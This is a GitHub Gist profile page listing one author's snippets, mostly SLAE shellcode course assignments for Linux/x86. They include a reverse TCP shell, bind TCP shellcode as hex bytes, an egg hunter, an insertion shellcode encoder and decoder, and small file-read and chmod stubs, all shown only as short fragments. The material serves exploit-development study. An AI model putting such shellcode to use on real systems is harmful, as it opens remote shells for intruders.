Skip to content

Instantly share code, notes, and snippets.

View geyslan's full-sized avatar
🚲
...

Geyslan Gregório geyslan

🚲
...
View GitHub Profile
@geyslan
geyslan / ebpf_tc_port_drop.c
Last active May 25, 2021 11:25
ebpf_tc_port_drop
// BPF_PROG_TYPE_SCHED_CLS
#define KBUILD_MODNAME "tc"
#include <asm/types.h>
#include <asm/byteorder.h>
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#include <linux/pkt_cls.h>
@geyslan
geyslan / tiny_read_file.asm
Last active May 26, 2018 23:05
Tiny Read File - Assembly Language - Linux/x86 - forlife
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/5th.assignment/tiny_read_file.asm
global _start
section .text
_start:
; int open(const char *pathname, int flags);
@geyslan
geyslan / tiny_chmod.asm
Last active May 26, 2018 23:05
Tiny chmod - Assembly Language - Linux/x86 - forlife
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/5th.assignment/tiny_chmod.asm
global _start
section .text
_start:
; int chmod(const char *path, mode_t mode);
@geyslan
geyslan / insertion_encoder.py
Last active May 26, 2018 23:04
Multi-pattern Insertion Shellcode Encoder - Python Language - forlife
# This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/4th.assignment/insertion_encoder.py
#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys
import getopt
import string
@geyslan
geyslan / insertion_decoder.asm
Last active May 26, 2018 23:03
Insertion Decoder - forlife
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/4th.assignment/insertion_decoder.asm
global _start
section .text
_start:
jmp getaddress
mainflow:
@geyslan
geyslan / egg_hunter_shellcode.c
Last active December 3, 2021 19:59
Egg Hunter Shellcode - C Language - Linux/x86 - forlife
// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/3rd.assignment/egg_hunter_shellcode.c
#include <stdio.h>
#include <string.h>
unsigned char egg[] = \
// Write "Egg Mark" and exit
"\x90\x50\x90\x50" // <- First Four Bytes of Signature
@geyslan
geyslan / egg_hunter.asm
Last active November 27, 2023 06:41
Egg Hunter in Assembly Language - Linux/x86 - forlife
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/3rd.assignment/egg_hunter.asm
global _start
section .text
_start:
; setting the registers
cld ; clear the direction flag (DF) to use scasd correctly
xor ecx, ecx
@geyslan
geyslan / shell_reverse_tcp.asm
Last active May 5, 2024 03:52
Shell Reverse TCP in Assembly Language - forlife
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/2nd.assignment/shell_reverse_tcp.asm
global _start
section .text
_start:
; host
push 0x0101017f ; IP Number "127.1.1.1" in hex reverse order
@geyslan
geyslan / shellcode.c
Last active May 26, 2018 23:00
Shell Bind TCP Shellcode (Linux/x86) - forlife
// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shellcode.c
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x66\xbd"
"\x2b\x67" /* <- Port number 11111 (2 bytes) */
"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89"
@geyslan
geyslan / shell_bind_tcp_shellcode.asm
Last active May 26, 2018 23:00
Shell Bind TCP Shellcode in Assembly (Linux/x86) - forlife
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp_shellcode.asm
global _start
section .text
_start:
; Setting port number